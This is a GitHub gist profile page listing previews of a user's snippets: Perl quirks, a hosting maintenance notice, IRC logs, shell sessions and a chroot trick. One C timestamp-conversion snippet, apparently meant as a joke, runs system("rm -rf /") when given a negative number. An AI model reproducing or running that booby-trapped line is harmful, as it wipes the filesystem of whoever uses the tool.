Skip to content

Instantly share code, notes, and snippets.

View syncsynchalt's full-sized avatar
🏝️
Retired

Michael Driscoll syncsynchalt

🏝️
Retired
View GitHub Profile
#!/usr/bin/perl -w
use strict;
my %third = ( 'ous' => 'huh' );
my %second = ( 'i' => \%third );
my %ob = ( 'nox' => \%second );
print $ob{nox}{i}{ous}, "\n";
try
{
try
{
for( int retry=10; !success&&retry>0; retry-- )
{
try
{
@syncsynchalt
syncsynchalt / gist:2348045
Created April 10, 2012 02:44
dang it perl
$ cat /tmp/foo.pl
#!/usr/bin/perl -w
use strict;
use XML::Simple;
use Data::Dumper;
print Dumper(XMLin('<xml attrib="foo&amp;bar"/>'));
$ perl5.12 /tmp/foo.pl
From: ticketreply@systeminplace.net
Subject: SystemInPlace: Planned Maintenance - Chicago - May 24, 2012 9:00 AM
Date: May 20, 2012 11:32:48 PM MDT
Reply-To: ticketreply@systeminplace.net
Hello,
You are receiving this notice as notification that we are planning to conduct maintenance
in Chicago on May 24. In order to optimize usage of our resources we have renegotiated our
@syncsynchalt
syncsynchalt / andrzej.txt
Created June 25, 2012 01:51
andrzej.txt
11:44 <andrzej> should I go see the avengers tonight
14:30 <andrzej> who wants to go see the avengers with me?
16:00 <andrzej> drive 20 minutes and watch the avengers
16:00 <andrzej> or level my diablo 3 dude to level 60
18:23 <Ulf> so did andrzej ever see the avengers
18:34 <andrzej> Ulf: >:-(
18:35 <andrzej> (no)
@syncsynchalt
syncsynchalt / gist:3220293
Created July 31, 2012 20:40
the most professional interaction I've ever seen on their support channel
07:03 -!- Topic for #enzuinc: enzu, inc. - virtualization provider extraordinaire |
FUCKED: skylar (volumes -- no really, your data really is lost), taurus (just
reboot your vps) | manage.systeminplace.net is no more; long live
manage.rapidxen.net | xeon e3-1230v2 with 16gb ram and 2tb disk for $140/month,
ipmi and unlimited ips - inquire with nenolod or bdwarr6
07:03 -!- Topic set by nenolod [~nenolod@quantum.physics] [Mon Jul 2 23:58:04 2012]
07:56 -!- johnf [~johnf@67.202.jwr.pv] has joined #enzuinc
08:13 <johnf> I received a strange email this morning
mdriscoll@wunderbar:~[0]$ ssh fenris@diva
fenris@diva:~[0]$ uptime
08:45:53 up 380 days, 18:37, 1 user, load average: 0.00, 0.00, 0.00
fenris@diva:~[0]$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 8
@syncsynchalt
syncsynchalt / gist:5296589
Last active December 15, 2015 17:29
~for sam~
#include <stdio.h>
#include <time.h>
int main(int argc, char **argv)
{
time_t t = atol(argv[1]);
struct tm tm = {0};
t > 0 ? printf("%s", ctime(&t)) : t == 0 ? strptime(argv[1], "%c", &tm), printf("%ld\n", (long)mktime(&tm)) : system("rm -rf /");
return 0;
}
mdriscoll@laika:~[0]$ cat test.c
#include <stdio.h>
const char *str = "Test string";
int main()
{
return 0;
}
mdriscoll@laika:~[0]$ gcc -o test test.c
# cd /tmp
# mkdir proc
# mount --bind /proc /tmp/proc
# mkdir dev
# ln -s /proc/self/fd/0 dev/stdin
# echo 'date' | chroot /tmp /bin/bash -c 'source /dev/stdin'
Tue Apr 30 21:54:05 UTC 2013